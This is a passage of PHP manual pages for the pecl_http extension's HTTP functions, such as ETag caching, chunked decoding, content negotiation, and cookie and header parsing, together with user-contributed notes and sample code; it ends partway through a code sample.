  • http_support — Check built-in HTTP support
  • http_negotiate_charset — Negotiate client's preferred character set
  • http_negotiate_content_type — Negotiate client's preferred content type
  • http_negotiate_language — Negotiate client's preferred language
  • ob_deflatehandler — Deflate output handler
  • ob_etaghandler — ETag output handler
  • ob_inflatehandler — Inflate output handler
  • http_parse_cookie — Parse HTTP cookie
  • http_parse_headers — Parse HTTP headers
  • http_parse_message — Parse HTTP messages
  • http_parse_params — Parse parameter list
  • http_persistent_handles_clean — Clean up persistent handles
  • http_persistent_handles_count — Stat persistent handles
  • http_persistent_handles_ident — Get/set ident of persistent handles
  • http_get — Perform GET request
  • http_head — Perform HEAD request
  • http_post_data — Perform POST request with pre-encoded data
  • http_post_fields — Perform POST request with data to be encoded
  • http_put_data — Perform PUT request with data
  • http_put_file — Perform PUT request with file
  • http_put_stream — Perform PUT request with stream
  • http_request_body_encode — Encode request body
  • http_request_method_exists — Check whether request method exists
  • http_request_method_name — Get request method name
  • http_request_method_register — Register request method
  • http_request_method_unregister — Unregister request method
  • http_request — Perform custom request
  • http_redirect — Issue HTTP redirect
  • http_send_content_disposition — Send Content-Disposition
  • http_send_content_type — Send Content-Type
  • http_send_data — Send arbitrary data
  • http_send_file — Send file
  • http_send_last_modified — Send Last-Modified
  • http_send_status — Send HTTP response status
  • http_send_stream — Send stream
  • http_throttle — HTTP throttling
  • http_build_str — Build query string
  • http_build_url — Build a URL

User Contributed Notes

henke dot andersson at comhem dot se 14-Jan-2006 10:01
If you want to make outgoing http connections with php, concider the curl extension.
woei at xs4all dot nl 30-Nov-2005 04:57
Actually, if you want to redirect a user why let HTML or JavaScript do it? Simply do this:

header("Location: http://www.example.com/");
WeeJames 07-Jul-2004 08:39
Regarding what the guy before said.  We've experienced problems where certain firewalls have encrypted the HTTP_REFERER meaning that it doesnt always contain the place you've come from.

Better to track where the user has come from either in a form post or in the url.
28-Apr-2004 04:05
in reference to toashwinisidhu's and breaker's note, a more effective way would be to use meta-tag redirect, for example.

<?php
$url = "http://somesite.com/index.php"; // target of the redirect
$delay = "3"; // 3 second delay

echo '<meta http-equiv="refresh" content="'.$delay.';url='.$url.'">';

?>

The meta goes in the head of the HTML.
This method does not require javascript and is supported by most browsers and is rarely, if ever, filterd out.
toashwinisidhu at yahoo dot com 21-Apr-2004 12:55
The method given below may not sometimes work.
The following method has always worked with me:
just put the following 3 lines in your PHP code

?>
<body onload=setTimeout("location.href='$url'",$sec)>
<?PHP
-------?>

$sec is the time in second after which the browser would automatically go to the url. Set it to 0 if you do not want to give any time.
You can use this function on the events of various html/form objects (eg.-onclick for button).eg.
<input type=button value="Go to Php.net" onclick=setTimeout("location.href='php.net'",0)>
Use this to one step back
<input type="button" value="Back" onclick=history.go(-1)>
jeffp-php at outofservice dot com 05-Jan-2001 05:37
$HTTP_RAW_POST_DATA --

You'll usually access variables from forms sent via POST method by just accessing the associated PHP global variable.

However, if your POST data is not URI encoded (i.e., custom application that's not form-based) PHP won't parse the data into nice variables for you.  You will need to use $HTTP_RAW_POST_DATA to access the raw data directly. (This should return a copy of the data given to the PHP process on STDIN; note that you wan't be able to open STDIN and read it yourself because PHP already did so itself.)


Caching by ETag

  • « HTTP Functions
  • http_cache_last_modified »
  • PHP Manual
  • HTTP Functions
  • Caching by ETag

http_cache_etag

(PECL pecl_http >= 0.1.0)

http_cache_etag — Caching by ETag

Description

bool http_cache_etag ([ string $etag ] )

Attempts to cache the sent entity by its ETag, either supplied or generated by the hash algorithm specified by the INI setting http.etag.mode.

If the clients If-None-Match header matches the supplied/calculated ETag, the body is considered cached on the clients side and a 304 Not Modified status code is issued.

A log entry is written to the cache log if the INI setting http.log.cache is set and the cache attempt was successful.

Note: This function may be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

If this function is used outside the http_send_*() API, it facilitates the ob_etaghandler().

Parameters

etag

custom ETag

Return Values

Returns FALSE or exits on success with 304 Not Modified if the entity is cached. See the INI setting http.force_exit for what "exits" means.

Examples

Example #1 A http_cache_etag() example

<?php
http_cache_etag();
http_send_data("data");
?>

See Also

  • http_cache_last_modified() - Caching by last modification
  • ob_etaghandler() - ETag output handler
  • http_match_etag() - Match ETag
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Caching by last modification

  • « http_cache_etag
  • http_chunked_decode »
  • PHP Manual
  • HTTP Functions
  • Caching by last modification

http_cache_last_modified

(PECL pecl_http >= 0.1.0)

http_cache_last_modified — Caching by last modification

Description

bool http_cache_last_modified ([ int $timestamp_or_expires ] )

Attempts to cache the sent entity by its last modification date.

If the supplied argument is greater than 0, it is handled as timestamp and will be sent as date of last modification. If it is 0 or omitted, the current time will be sent as Last-Modified date. If it's negative, it is handled as expiration time in seconds, which means that if the requested last modification date is not between the calculated timespan, the Last-Modified header is updated and the actual body will be sent.

A log entry will be written to the cache log if the INI setting http.log.cache is set and the cache attempt was successful.

Note: This function may be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

timestamp_or_expires

Unix timestamp

Return Values

Returns FALSE or exits on success with 304 Not Modified if the entity is cached. See the INI setting http.force_exit for what "exits" means.

Examples

Example #1 A http_cache_last_modified() example

Caching for 5 seconds.

<?php
http_cache_last_modified(-5);
printf("%s\n", http_date());
?>

See Also

  • http_cache_etag() - Caching by ETag
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Decode chunked-encoded data

  • « http_cache_last_modified
  • http_deflate »
  • PHP Manual
  • HTTP Functions
  • Decode chunked-encoded data

http_chunked_decode

(PECL pecl_http >= 0.1.0)

http_chunked_decode — Decode chunked-encoded data

Description

string http_chunked_decode ( string $encoded )

Decodes a string which is HTTP-chunked encoded.

Parameters

encoded

chunked encoded string

Return Values

Returns the decoded string on success or FALSE on failure.

Examples

Example #1 A http_chunked_decode() example

<?php
$string = "".
    "05\r\n".
    "this \r\n".
    "07\r\n".
    "string \r\n".
    "12\r\n".
    "is chunked encoded\r\n".
    "01\n\r\n".
    "00";
echo http_chunked_decode($string);
?>

The above example will output:

this string is chunked encoded

User Contributed Notes

Marques Johansson 23-Mar-2009 05:48
Here's a PHP implementation for those less interested in installing a pecl module.  It's a bit naive (doesn't handle multiple byte encodings), but it works.  I'm also including my is_hex() implementation at no additional cost.

<?php
if (!function_exists('http-chunked-decode')) {
    /**
     * dechunk an http 'transfer-encoding: chunked' message
     *
     * @param string $chunk the encoded message
     * @return string the decoded message.  If $chunk wasn't encoded properly it will be returned unmodified.
     */
    function http_chunked_decode($chunk) {
        $pos = 0;
        $len = strlen($chunk);
        $dechunk = null;

        while(($pos < $len)
            && ($chunkLenHex = substr($chunk,$pos, ($newlineAt = strpos($chunk,"\n",$pos+1))-$pos)))
        {
            if (! is_hex($chunkLenHex)) {
                trigger_error('Value is not properly chunk encoded', E_USER_WARNING);
                return $chunk;
            }

            $pos = $newlineAt + 1;
            $chunkLen = hexdec(rtrim($chunkLenHex,"\r\n"));
            $dechunk .= substr($chunk, $pos, $chunkLen);
            $pos = strpos($chunk, "\n", $pos + $chunkLen) + 1;
        }
        return $dechunk;
    }
}

    /**
     * determine if a string can represent a number in hexadecimal
     *
     * @param string $hex
     * @return boolean true if the string is a hex, otherwise false
     */
    function is_hex($hex) {
        // regex is for weenies
        $hex = strtolower(trim(ltrim($hex,"0")));
        if (empty($hex)) { $hex = 0; };
        $dec = hexdec($hex);
        return ($hex == dechex($dec));
    }
?>


Deflate data

  • « http_chunked_decode
  • http_inflate »
  • PHP Manual
  • HTTP Functions
  • Deflate data

http_deflate

(PECL pecl_http >= 0.15.0)

http_deflate — Deflate data

Description

string http_deflate ( string $data [, int $flags = 0 ] )

Compress data with gzip, zlib AKA deflate or raw deflate encoding.

See the deflate constants table for possible values for the flags parameter.

Parameters

data

String containing the data that should be encoded

flags

deflate options

Return Values

Returns the encoded string on success, or NULL on failure.

See Also

  • http_inflate() - Inflate data
  • HttpDeflateStream

User Contributed Notes

There are no user contributed notes for this page.


Inflate data

  • « http_deflate
  • http_build_cookie »
  • PHP Manual
  • HTTP Functions
  • Inflate data

http_inflate

(PECL pecl_http >= 0.15.0)

http_inflate — Inflate data

Description

string http_inflate ( string $data )

Decompress data compressed with either gzip, deflate AKA zlib or raw deflate encoding.

Parameters

data

string containing the compressed data

Return Values

Returns the decoded string on success, or NULL on failure.

See Also

  • http_deflate() - Deflate data
  • HttpInflateStream

User Contributed Notes

There are no user contributed notes for this page.


Build cookie string

  • « http_inflate
  • http_date »
  • PHP Manual
  • HTTP Functions
  • Build cookie string

http_build_cookie

(PECL pecl_http >= 1.2.0)

http_build_cookie — Build cookie string

Description

string http_build_cookie ( array $cookie )

Build a cookie string from an array/object like returned by http_parse_cookie().

Parameters

cookie

a cookie list like returned from http_parse_cookie()

Return Values

Returns the cookie(s) as string.

See Also

  • http_parse_cookie() - Parse HTTP cookie

User Contributed Notes

jonathan dot aquino at gmail dot com 21-Mar-2009 07:46
Note that you must cast the result of http_parse_cookie to an array before passing it to http_build_cookie (see http://bugs.php.net/bug.php?id=47740 ).

Example:

<?php
$cookie = http_parse_cookie('RMID=2dab5fc9296749c2f28ec0b7; expires=Saturday, 20-Mar-2010 01:34:06 GMT; path=/; domain=.example.com');
var_dump(http_build_cookie((array)$cookie));
?>


Compose HTTP RFC compliant date

  • « http_build_cookie
  • http_get_request_body_stream »
  • PHP Manual
  • HTTP Functions
  • Compose HTTP RFC compliant date

http_date

(PECL pecl_http >= 0.1.0)

http_date — Compose HTTP RFC compliant date

Description

string http_date ([ int $timestamp ] )

Compose a valid HTTP date regarding RFC 1123 looking like: Wed, 22 Dec 2004 11:34:47 GMT.

Parameters

timestamp

Unix timestamp; current time if omitted

Return Values

Returns the HTTP date as string.

See Also

  • date() - Format a local time/date

User Contributed Notes

joshsnyder at earthlink dot net 21-Sep-2008 01:41
Not sure if this is a failure of documentation or a bug, but it is worth noting that this function seems to return the timestamp of the script execution by default, not the current time. So e.g. this:

<?php

echo http_date();
sleep(60);
echo http_date();

?>

will output the exact same string twice.


Get request body as stream

  • « http_date
  • http_get_request_body »
  • PHP Manual
  • HTTP Functions
  • Get request body as stream

http_get_request_body_stream

(PECL pecl_http >= 0.22.0)

http_get_request_body_stream — Get request body as stream

Description

resource http_get_request_body_stream ( void )

Create a stream to read the raw request body (e.g. POST or PUT data).

This function can only be used once if the request method was another than POST.

Parameters

Return Values

Returns the raw request body as stream on success or NULL on failure.

See Also

  • http_get_request_body() - Get request body as string
  • http_get_request_headers() - Get request headers as array
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

david at sickmiller dot com 02-Dec-2007 04:31
Like php://input, http_get_request_body_stream() doesn't seem to work with enctype="multipart/form-data".


Get request body as string

  • « http_get_request_body_stream
  • http_get_request_headers »
  • PHP Manual
  • HTTP Functions
  • Get request body as string

http_get_request_body

(PECL pecl_http >= 0.10.0)

http_get_request_body — Get request body as string

Description

string http_get_request_body ( void )

Get the raw request body (e.g. POST or PUT data).

This function can not be used after http_get_request_body_stream() if the request method was another than POST.

Parameters

Return Values

Returns the raw request body as string on success or NULL on failure.

See Also

  • http_get_request_body_stream() - Get request body as stream
  • http_get_request_headers() - Get request headers as array
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

jimfr06 at gmail dot com 25-Jun-2013 07:11
@slave at codegrunt dot com
If you leave out Content-Length and have no Transfer-Encoding, your request is no longer valid.

RFC261 says at chapter 4.3:
"The presence of a message-body in a request is signaled by the inclusion of a Content-Length or Transfer-Encoding header field in the request's message-headers."

Without those headers, the server has no way of figuring out what the length of the body is. For a response, you could indicate it with a connection close, but obviously if you do that on a request you will never get a response!

So, I assume the PhP behaviour you describe is OK as you cannot expect it to auto-magically repair all sorts of broken requests!

@Tim Trinidad
Reading php://input or using http_get_request_body_stream() must be very similar.
The documentation says:
"This function can not be used after http_get_request_body_stream() if the request method was another than POST."

So it looks very similar to what you describe. The documentation should then read:
"This function can not be used after http_get_request_body_stream() or reading php://input, if the request method was another than POST."
slave at codegrunt dot com 01-Jun-2013 05:31
In case this saves anyone else some frustration, the "Content-Length" header decides what will be returned for "php://input".  If you leave it out while testing, nothing will be returned for "php://input" or $HTTP_RAW_POST_DATA.

For example, if you are trying to test out a custom SOAP server app and you send a request like this without a Content-Length set:

-----
POST /soap_service.php HTTP/1.1
Authorization: Basic abcdefgh
User-Agent: SOAPy McSOAPclient
Host: example.com
Accept: */*
MIME-Version: 1.0
Content-type: text/xml; charset=utf-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cat="http://com.soapy/foobar"><soapenv:Header/><soapenv:Body><foo:ManageBar><foo:task id="1"><foo:getBar type="helloworld"/></foo:task></foo:ManageBar></soapenv:Body></soapenv:Envelope>
----

"php://input" will always return and empty string.
Tim Trinidad 28-May-2010 02:03
It seems that there is some weird behavior when using http_get_request_body() with fopen('php://input'). Specifically, reading the input with the fopen('php://input') routine before calling http_get_request_body() on a PUT HTTP request.

Here are some examples:

A POST request:
*********************************************************
PUT http://example.com/requestbodytest.php HTTP/1.1
Host: example.com
Keep-Alive: 300
Connection: keep-alive
Content-Type: text/xml
Content-Length: 58

<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>
*********************************************************

with the following script:
*********************************************************
<?php
$body = '';
$fh   = @fopen('php://input', 'r');
if ($fh)
{
  while (!feof($fh))
  {
    $s = fread($fh, 1024);
    if (is_string($s))
    {
      $body .= $s;
    }
  }
  fclose($fh);
}
print("-------------- PHP Input Stream ----------------\n$body\n\n");

$body2 = http_get_request_body();
print("---------- http_get_request_body() -------------\n$body2\n\n");

?>
*********************************************************

outputs this:
*********************************************************
-------------- PHP Input Stream ----------------
<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>

---------- http_get_request_body() -------------
<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>
*********************************************************

The same request to the same script using an HTTP PUT request, however, outputs this:
*********************************************************
-------------- PHP Input Stream ----------------
<?xml version="1.0" encoding="utf-8" ?>
<body>test</body>

---------- http_get_request_body() -------------
*********************************************************

It seems a valid workaround is to put a call to http_get_request_body() to cache the body content before an expected read to php://input (i.e. simply calling the function without manually storing the result caches the content for subsequent calls).
osborn dot steven at gmail dot com 23-Aug-2007 08:01
For those of you without the HTTP extension, try:
<?php
  $body = @file_get_contents('php://input');
?>


Get request headers as array

  • « http_get_request_body
  • http_match_etag »
  • PHP Manual
  • HTTP Functions
  • Get request headers as array

http_get_request_headers

(PECL pecl_http >= 0.10.0)

http_get_request_headers — Get request headers as array

Description

array http_get_request_headers ( void )

Get a list of incoming HTTP headers.

Parameters

Return Values

Returns an associative array of incoming request headers.

See Also

  • http_get_request_body() - Get request body as string
  • http_get_request_body_stream() - Get request body as stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

ocus51 at gmail dot com 13-May-2008 04:36
Keep in mind that this function replaces all "_" characters by "-" in headers names


Match ETag

  • « http_get_request_headers
  • http_match_modified »
  • PHP Manual
  • HTTP Functions
  • Match ETag

http_match_etag

(PECL pecl_http >= 0.1.0)

http_match_etag — Match ETag

Description

bool http_match_etag ( string $etag [, bool $for_range = false ] )

Matches the given ETag against the clients If-Match resp. If-None-Match HTTP headers.

Parameters

etag

the ETag to match

for_range

if set to TRUE, the header usually used to validate HTTP ranges will be checked

Return Values

Returns TRUE if ETag matches or the header contained the asterisk ("*"), else FALSE.

See Also

  • http_match_last_modified()
  • http_match_request_header() - Match any header
  • http_cache_etag() - Caching by ETag
  • http_cache_last_modified() - Caching by last modification
  • ob_etaghandler() - ETag output handler

User Contributed Notes

php dot net at eoasys dot com 05-Apr-2008 08:16
Regarding the 20071101 note of "root at mantoru dot de":

That solution got me started but didn't quite work for me. Apache (at least 2.x) applies an algorithm to the Last-Modified time. A solution that worked perfectly for me is at http://us3.php.net/manual/en/function.fileinode.php#78264.

Richard
root at mantoru dot de 01-Nov-2007 02:46
An Apache-like ETag can be generated like this:

<?php
function etag($filename, $quote = true) {
    if (!file_exists($filename) || !($info = stat($filename))) {
        return false;
    }
    $q = ($quote) ? '"' : '';
    return sprintf("$q%x-%x-%x$q", $info['ino'], $info['size'], $info['mtime']);
}
?>


Match last modification

  • « http_match_etag
  • http_match_request_header »
  • PHP Manual
  • HTTP Functions
  • Match last modification

http_match_modified

(PECL pecl_http >= 0.1.0)

http_match_modified — Match last modification

Description

bool http_match_modified ([ int $timestamp = -1 [, bool $for_range = false ]] )

Matches the given Unix timestamp against the clients If-Modified-Since resp. If-Unmodified-Since HTTP headers.

Parameters

timestamp

Unix timestamp; current time, if omitted

for_range

if set to TRUE, the header usually used to validate HTTP ranges will be checked

Return Values

Returns TRUE if timestamp represents an earlier date than the header, else FALSE.

See Also

  • http_match_etag() - Match ETag
  • http_match_request_header() - Match any header
  • http_cache_etag() - Caching by ETag
  • http_cache_last_modified() - Caching by last modification

User Contributed Notes

There are no user contributed notes for this page.


Match any header

  • « http_match_modified
  • http_support »
  • PHP Manual
  • HTTP Functions
  • Match any header

http_match_request_header

(PECL pecl_http >= 0.10.0)

http_match_request_header — Match any header

Description

bool http_match_request_header ( string $header , string $value [, bool $match_case = false ] )

Match an incoming HTTP header.

Parameters

header

the header name (case-insensitive)

value

the header value that should be compared

match_case

whether the value should be compared case sensitively

Return Values

Returns TRUE if header value matches, else FALSE.

See Also

  • http_match_etag() - Match ETag
  • http_match_last_modified()

User Contributed Notes

There are no user contributed notes for this page.


Check built-in HTTP support

  • « http_match_request_header
  • http_negotiate_charset »
  • PHP Manual
  • HTTP Functions
  • Check built-in HTTP support

http_support

(PECL pecl_http >= 0.15.0)

http_support — Check built-in HTTP support

Description

int http_support ([ int $feature = 0 ] )

Check for features that require external libraries.

See the feature support constants table for possible values for the feature argument.

Parameters

feature

feature to probe for

Return Values

Returns integer, whether requested feature is supported, or a bitmask with all supported features if feature was omitted.

Examples

Example #1 A http_support() example

<?php
if (!http_support(HTTP_SUPPORT_REQUESTS)) {
    die("Need HTTP request support!\n");
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Negotiate client's preferred character set

  • « http_support
  • http_negotiate_content_type »
  • PHP Manual
  • HTTP Functions
  • Negotiate client's preferred character set

http_negotiate_charset

(PECL pecl_http >= 0.1.0)

http_negotiate_charset — Negotiate client's preferred character set

Description

string http_negotiate_charset ( array $supported [, array &$result ] )

This function negotiates the clients preferred charset based on its Accept-Charset HTTP header. The qualifier is recognized and charsets without qualifier are rated highest.

Parameters

supported

array containing the supported charsets as values

result

will be filled with an array containing the negotiation results

Return Values

Returns the negotiated charset or the default charset (i.e. first array entry) if none match.

Examples

Example #1 Using http_negotiate_charset()

<?php
$charsets = array(
        'iso-8859-1', // default
        'iso-8859-2',
        'iso-8859-15',
        'utf-8'
);

$pref = http_negotiate_charset($charsets, $result);

if (strcmp($pref, 'iso-8859-1')) {
        iconv_set_encoding('internal_encoding', 'iso-8859-1');
        iconv_set_encoding('output_encoding', $pref);
        ob_start('ob_iconv_handler');
}

print_r($result);
?>

User Contributed Notes

There are no user contributed notes for this page.


Negotiate client's preferred content type

  • « http_negotiate_charset
  • http_negotiate_language »
  • PHP Manual
  • HTTP Functions
  • Negotiate client's preferred content type

http_negotiate_content_type

(PECL pecl_http >= 0.19.0)

http_negotiate_content_type — Negotiate client's preferred content type

Description

string http_negotiate_content_type ( array $supported [, array &$result ] )

This function negotiates the clients preferred content type based on its Accept HTTP header. The qualifier is recognized and content types without qualifier are rated highest.

Parameters

supported

array containing the supported content types as values

result

will be filled with an array containing the negotiation results

Return Values

Returns the negotiated content type or the default content type (i.e. first array entry) if none match.

Examples

Example #1 Using http_negotiate_content_type()

<?php
$content_types = array('application/xhtml+xml', 'text/html');
http_send_content_type(http_negotiate_content_type($content_types));
?>

User Contributed Notes

Vasil Rangelov 21-Sep-2007 02:18
Newer versions of this extension fix the bug from the previous note.

Still, if you want to ensure there's no match, you can use the array, as the array will remain empty.

I used this fact in the following technique to ensure good content negotiation between application/xhtml+xml and text/html, since IE sends only "*/*" and thus receives application/xhtml+xml if you use the current sample from the documentation.

<?php
$bestContentType = http_negotiate_content_type(array('application/xhtml+xml', 'text/html'),
$contentTypes);
$contentType = (empty($contentTypes) ? 'text/html' : $bestContentType);
http_send_content_type($contentType);
?>

Note that at the time of writing, Opera accepts text/html with this approach, because it places application/xhtml+xml with a lower qualifier.
Pieter van Beek 03-Jul-2007 06:38
The documentation says:

Returns the negotiated content type or the default content type (i.e. first array entry) if none match.

It would seem that in fact, this method returns the empty string or NULL if none match.


Negotiate client's preferred language

  • « http_negotiate_content_type
  • ob_deflatehandler »
  • PHP Manual
  • HTTP Functions
  • Negotiate client's preferred language

http_negotiate_language

(PECL pecl_http >= 0.1.0)

http_negotiate_language — Negotiate client's preferred language

Description

string http_negotiate_language ( array $supported [, array &$result ] )

This function negotiates the clients preferred language based on its Accept-Language HTTP header. The qualifier is recognized and languages without qualifier are rated highest. The qualifier will be decreased by 10% for partial matches (i.e. matching primary language).

Parameters

supported

array containing the supported languages as values

result

will be filled with an array containing the negotiation results

Return Values

Returns the negotiated language or the default language (i.e. first array entry) if none match.

Examples

Example #1 Using http_negotiate_language()

<?php
$langs = array(
        'en-US',// default
        'fr',
        'fr-FR',
        'de',
        'de-DE',
        'de-AT',
        'de-CH',
);

include './langs/'. http_negotiate_language($langs, $result) .'.php';

print_r($result);
?>

User Contributed Notes

There are no user contributed notes for this page.


Deflate output handler

  • « http_negotiate_language
  • ob_etaghandler »
  • PHP Manual
  • HTTP Functions
  • Deflate output handler

ob_deflatehandler

(PECL pecl_http >= 0.21.0)

ob_deflatehandler — Deflate output handler

Description

string ob_deflatehandler ( string $data , int $mode )

For use with ob_start().

Note: This output handler can only be used once.

The deflate output buffer handler can only be used once.

It conflicts with ob_gzhandler() and zlib.output_compression as well and should not be used after mbstring extension's mb_output_handler() and session extension's URL-Rewriter (AKA session.use_trans_sid).

See Also

  • ob_inflatehandler() - Inflate output handler
  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.


ETag output handler

  • « ob_deflatehandler
  • ob_inflatehandler »
  • PHP Manual
  • HTTP Functions
  • ETag output handler

ob_etaghandler

(PECL pecl_http >= 0.10.0)

ob_etaghandler — ETag output handler

Description

string ob_etaghandler ( string $data , int $mode )

For use with ob_start().

Output buffer handler generating an ETag with the hash algorithm specified with the INI setting http.etag.mode.

This output handler is used by http_cache_etag().

See Also

  • http_cache_etag() - Caching by ETag
  • http_match_etag() - Match ETag

User Contributed Notes

There are no user contributed notes for this page.


Inflate output handler

  • « ob_etaghandler
  • http_parse_cookie »
  • PHP Manual
  • HTTP Functions
  • Inflate output handler

ob_inflatehandler

(PECL pecl_http >= 0.21.0)

ob_inflatehandler — Inflate output handler

Description

string ob_inflatehandler ( string $data , int $mode )

For use with ob_start().

Same restrictions as with ob_deflatehandler() apply.

See Also

  • ob_deflatehandler() - Deflate output handler
  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.


Parse HTTP cookie

  • « ob_inflatehandler
  • http_parse_headers »
  • PHP Manual
  • HTTP Functions
  • Parse HTTP cookie

http_parse_cookie

(PECL pecl_http >= 0.20.0)

http_parse_cookie — Parse HTTP cookie

Description

object http_parse_cookie ( string $cookie [, int $flags [, array $allowed_extras ]] )

Parses HTTP cookies like sent in a response into a struct.

Parameters

cookie

string containing the value of a Set-Cookie response header

flags

parse flags (HTTP_COOKIE_PARSE_RAW)

allowed_extras

array containing recognized extra keys; by default all unknown keys will be treated as cookie names

Return Values

Returns a stdClass object on success or FALSE on failure.

Examples

Example #1 Using http_parse_cookie()

<?php
print_r(http_parse_cookie("foo=bar; bar=baz; path=/; domain=example.com; comment=; secure", 0, array("comment")));
?>

The above example will output:

stdClass Object
(
  [cookies] => Array
  (
    [foo] => bar
    [bar] => baz
  )

  [extras] => Array
  (
    [comment] =>
  )

  [flags] => 16
  [expires] => 0
  [path] => /
  [domain] => example.com
)

See Also

  • http_parse_headers() - Parse HTTP headers
  • http_parse_message() - Parse HTTP messages
  • http_build_cookie() - Build cookie string

User Contributed Notes

ghpille at hotmail dot com 05-Apr-2012 07:55
I don't think you can split the cookie-line on ";",  since the semicolon is allowed withing double-quotes, eg.:

Set-Cookie:  COOKIE1="a;b;c"; path=/xyz; Max-Age=100
marcoigarapava at gmail dot com 07-Apr-2011 05:56
Here's a good way to get cookies from a page and then resubimit the data to that page (or acess any other page using the cookies gotten).

<?php

//SOME DATA TO POST
$postData = array
(
'user' => $login,
'pass' => $pass
);

//FIRST POST
$post1 = http_post_fields('http://example.com', $postData);

//GET THE COOKIES STORED TO THE ARRAY $cookie
preg_match('/Set-Cookie: (.*)\b/', $post1, $cookie);
$cookie = (array) http_parse_cookie($cookie[1]);
$cookie = array( 'cookies' => $cookie["cookies"]);

//POST DATA NOW WITH THE COOKIE
$post2 = http_post_fields('http://example.com', $postData, array(), $cookie);
?>
tobsn at php dot net 28-Apr-2007 05:38
alternative:
<?php

function cookie_parse( $header ) {
        $cookies = array();
        foreach( $header as $line ) {
                if( preg_match( '/^Set-Cookie: /i', $line ) ) {
                        $line = preg_replace( '/^Set-Cookie: /i', '', trim( $line ) );
                        $csplit = explode( ';', $line );
                        $cdata = array();
                        foreach( $csplit as $data ) {
                                $cinfo = explode( '=', $data );
                                $cinfo[0] = trim( $cinfo[0] );
                                if( $cinfo[0] == 'expires' ) $cinfo[1] = strtotime( $cinfo[1] );
                                if( $cinfo[0] == 'secure' ) $cinfo[1] = "true";
                                if( in_array( $cinfo[0], array( 'domain', 'expires', 'path', 'secure', 'comment' ) ) ) {
                                        $cdata[trim( $cinfo[0] )] = $cinfo[1];
                                }
                                else {
                                        $cdata['value']['key'] = $cinfo[0];
                                        $cdata['value']['value'] = $cinfo[1];
                                }
                        }
                        $cookies[] = $cdata;
                }
        }
        return $cookies;
}

function cookie_build( $data ) {
        if( is_array( $data ) ) {
                $cookie = '';
                foreach( $data as $d ) {
                        $cookie[] = $d['value']['key'].'='.$d['value']['value'];
                }
                if( count( $cookie ) > 0 ) {
                        return trim( implode( '; ', $cookie ) );
                }
        }
        return false;
}

?>

(http://www.seo-blackhat.com/article/the-cookie-backer-php.html)


Parse HTTP headers

  • « http_parse_cookie
  • http_parse_message »
  • PHP Manual
  • HTTP Functions
  • Parse HTTP headers

http_parse_headers

(PECL pecl_http >= 0.10.0)

http_parse_headers — Parse HTTP headers

Description

array http_parse_headers ( string $header )

Parses HTTP headers into an associative array.

Parameters

header

string containing HTTP headers

Return Values

Returns an array on success or FALSE on failure.

Examples

Example #1 Using http_parse_headers()

<?php
$headers = "content-type: text/html; charset=UTF-8\r\n".
  "Server: Funky/1.0\r\n".
  "Set-Cookie: foo=bar\r\n".
  "Set-Cookie: baz=quux\r\n".
  "Folded: works\r\n\ttoo\r\n";
print_r(http_parse_headers($headers));
?>

The above example will output:

Array
(
  [Content-Type] => text/html; charset=UTF-8
  [Server] => Funky/1.0
  [Set-Cookie] => Array
  (
    [0] => foo=bar
    [1] => baz=quux
  )
  [Folded] => works
    too
)

See Also

  • http_parse_message() - Parse HTTP messages
  • http_parse_cookie() - Parse HTTP cookie

User Contributed Notes

ricardovermeltfoort at gmail dot com 15-Aug-2013 08:03
I made a small mistake in http://www.php.net/manual/en/function.http-parse-headers.php#112986

The line
<?php
$headers[0] = trim($h[0]);trim($h[0]);
?>
Should be changed to:
<?php
$headers[0] = trim($h[0]);
?>
ricardovermeltfoort at gmail dot com 15-Aug-2013 07:10
Taken from http://www.php.net/manual/en/function.http-parse-headers.php#112917 and modified to: make folded work too, return status in first key.

<?php
if (!function_exists('http_parse_headers'))
{
    function http_parse_headers($raw_headers)
    {
        $headers = array();
        $key = ''; // [+]

        foreach(explode("\n", $raw_headers) as $i => $h)
        {
            $h = explode(':', $h, 2);

            if (isset($h[1]))
            {
                if (!isset($headers[$h[0]]))
                    $headers[$h[0]] = trim($h[1]);
                elseif (is_array($headers[$h[0]]))
                {
                    // $tmp = array_merge($headers[$h[0]], array(trim($h[1]))); // [-]
                    // $headers[$h[0]] = $tmp; // [-]
                    $headers[$h[0]] = array_merge($headers[$h[0]], array(trim($h[1]))); // [+]
                }
                else
                {
                    // $tmp = array_merge(array($headers[$h[0]]), array(trim($h[1]))); // [-]
                    // $headers[$h[0]] = $tmp; // [-]
                    $headers[$h[0]] = array_merge(array($headers[$h[0]]), array(trim($h[1]))); // [+]
                }

                $key = $h[0]; // [+]
            }
            else // [+]
            { // [+]
                if (substr($h[0], 0, 1) == "\t") // [+]
                    $headers[$key] .= "\r\n\t".trim($h[0]); // [+]
                elseif (!$key) // [+]
                    $headers[0] = trim($h[0]);trim($h[0]); // [+]
            } // [+]
        }

        return $headers;
    }
}
?>

Example:

<?php
$headers = "HTTP/1.1 200 OK\r\n".
    "content-type: text/html; charset=UTF-8\r\n".
    "Server: Funky/1.0\r\n".
    "Set-Cookie: foo=bar\r\n".
    "Set-Cookie: baz=quux\r\n".
    "Folded: works\r\n\ttoo\r\n";
print_r(http_parse_headers($headers));
?>

The above example will output:

Array
(
    [0] => HTTP/1.1 200 OK
    [content-type] => text/html; charset=UTF-8
    [Server] => Funky/1.0
    [Set-Cookie] => Array
        (
            [0] => foo=bar
            [1] => baz=quux
        )

    [Folded] => works
    too
)
Anonymous 07-Aug-2013 12:09
if (!function_exists('http_parse_headers')) {
    function http_parse_headers ($raw_headers) {
        $headers = array(); // $headers = [];

        foreach (explode("\n", $raw_headers) as $i => $h) {
            $h = explode(':', $h, 2);

            if (isset($h[1])) {
                if(!isset($headers[$h[0]])) {
                    $headers[$h[0]] = trim($h[1]);
                } else if(is_array($headers[$h[0]])) {
